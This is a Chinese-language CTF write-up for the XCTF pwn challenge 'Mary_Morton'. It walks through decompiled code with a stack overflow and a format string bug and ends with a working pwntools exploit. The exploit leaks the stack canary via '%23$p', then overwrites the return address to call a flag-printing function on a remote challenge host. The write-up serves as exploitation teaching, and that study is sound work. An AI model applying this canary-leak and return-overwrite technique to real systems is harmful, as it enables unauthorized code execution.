xctf-Mary_Morton
一道很简单的题目,但是可以用来深入理解之前学到的相关基础知识,从简单到复杂。
逆向分析
main函数
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
int v3; // [rsp+24h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+28h] [rbp-8h]
v4 = __readfsqword(0x28u);
sub_4009FF();
puts("Welcome to the battle ! ");
puts("[Great Fairy] level pwned ");
puts("Select your weapon ");
while ( 1 )
{
while ( 1 )
{
sub_4009DA();
__isoc99_scanf("%d", &v3);
if ( v3 != 2 )
break;
sub_4008EB();
}
if ( v3 == 3 )
{
puts("Bye ");
exit(0);
}
if ( v3 == 1 )
sub_400960();
else
puts("Wrong!");
}
}
int sub_4009DA()
{
puts("1. Stack Bufferoverflow Bug ");
puts("2. Format String Bug ");
return puts("3. Exit the battle ");
}
可以看到存在栈溢出和格式化字符串漏洞,两个漏洞同时实现比较简单,但是通过单个能否实现,格式化字符串可以,但是栈溢出如何泄露canary,并且找到ret的位置呢。
栈溢出漏洞
unsigned __int64 sub_400960()
{
char buf[136]; // [rsp+0h] [rbp-90h] BYREF
unsigned __int64 v2; // [rsp+88h] [rbp-8h]
v2 = __readfsqword(0x28u);
memset(buf, 0, 0x80uLL);
read(0, buf, 0x100uLL); //栈溢出漏洞
printf("-> %s\n", buf);
return __readfsqword(0x28u) ^ v2;
}
格式化字符串漏洞
unsigned __int64 sub_4008EB()
{
char buf[136]; // [rsp+0h] [rbp-90h] BYREF
unsigned __int64 v2; // [rsp+88h] [rbp-8h]
v2 = __readfsqword(0x28u);
memset(buf, 0, 0x80uLL);
read(0, buf, 0x7FuLL);
printf(buf); //存在格式化字符串漏洞
return __readfsqword(0x28u) ^ v2;
}
可以通过IDA的字符串模块,找到system函数,并且得到对应的虚拟地址。
要考虑一个问题为什么这个00000000004008DA地址可以直接在exp中使用,IDA显示的是什么地址。可以参考:动静结合调试——IDA地址与windbg地址对应 - 简书
总的来说:IDA显示的是虚拟地址,虚拟地址等于装载地址+相对虚拟地址。这个虚拟地址如果没有ASLR和PIE的话,其实就是我们要用的地址。但是如果开启了ASLR和PIE就会导致这个地址发生变化。而且一般碰到的.text都是以400000开始的,比较小的话就是文件偏移了。
.text:00000000004008DA sub_4008DA proc near
.text:00000000004008DA ; __unwind {
.text:00000000004008DA push rbp
.text:00000000004008DB mov rbp, rsp
.text:00000000004008DE mov edi, offset command ; "/bin/cat ./flag"
.text:00000000004008E3 call _system
.text:00000000004008E8 nop
.text:00000000004008E9 pop rbp
.text:00000000004008EA retn
.text:00000000004008EA ; } // starts at 4008DA
.text:00000000004008EA sub_4008DA endp
攻击方案
使用格式化字符串漏洞泄露canary,再使用栈溢出ret2libc即可。
输入aaaa-%p-%p-%p-%p-%p-%p
可以看到是第6个存放buf,再通过buf和canary的相对偏移即可得到canary的偏移为6+0x88/8=23。


栈溢出需要依次覆盖buf,canary,老的rbp,返回地址。
High
Address | |
+-----------------+
| args |
+-----------------+
| return address |
+-----------------+
| old ebp |
rbp => +-----------------+
| canary value |
rbp-8 => +-----------------+
| 局部变量 |
Low | |
Address
exp
同时使用栈溢出和格式化字符串漏洞。
from pwn import *
r = remote('111.200.241.244','64588')
#r = process('./canary')
r.sendlineafter('battle ','2')
r.sendline('%23$p')
r.recvuntil('0x')
canary=int(r.recv(16),16)
print(hex(canary))
r.sendlineafter('battle ','1')
system_addr= 0x4008DA
r.sendline('a'*0x88+p64(canary)+'a'*8+p64(system_addr))
r.interactive()

浙公网安备 33010602011771号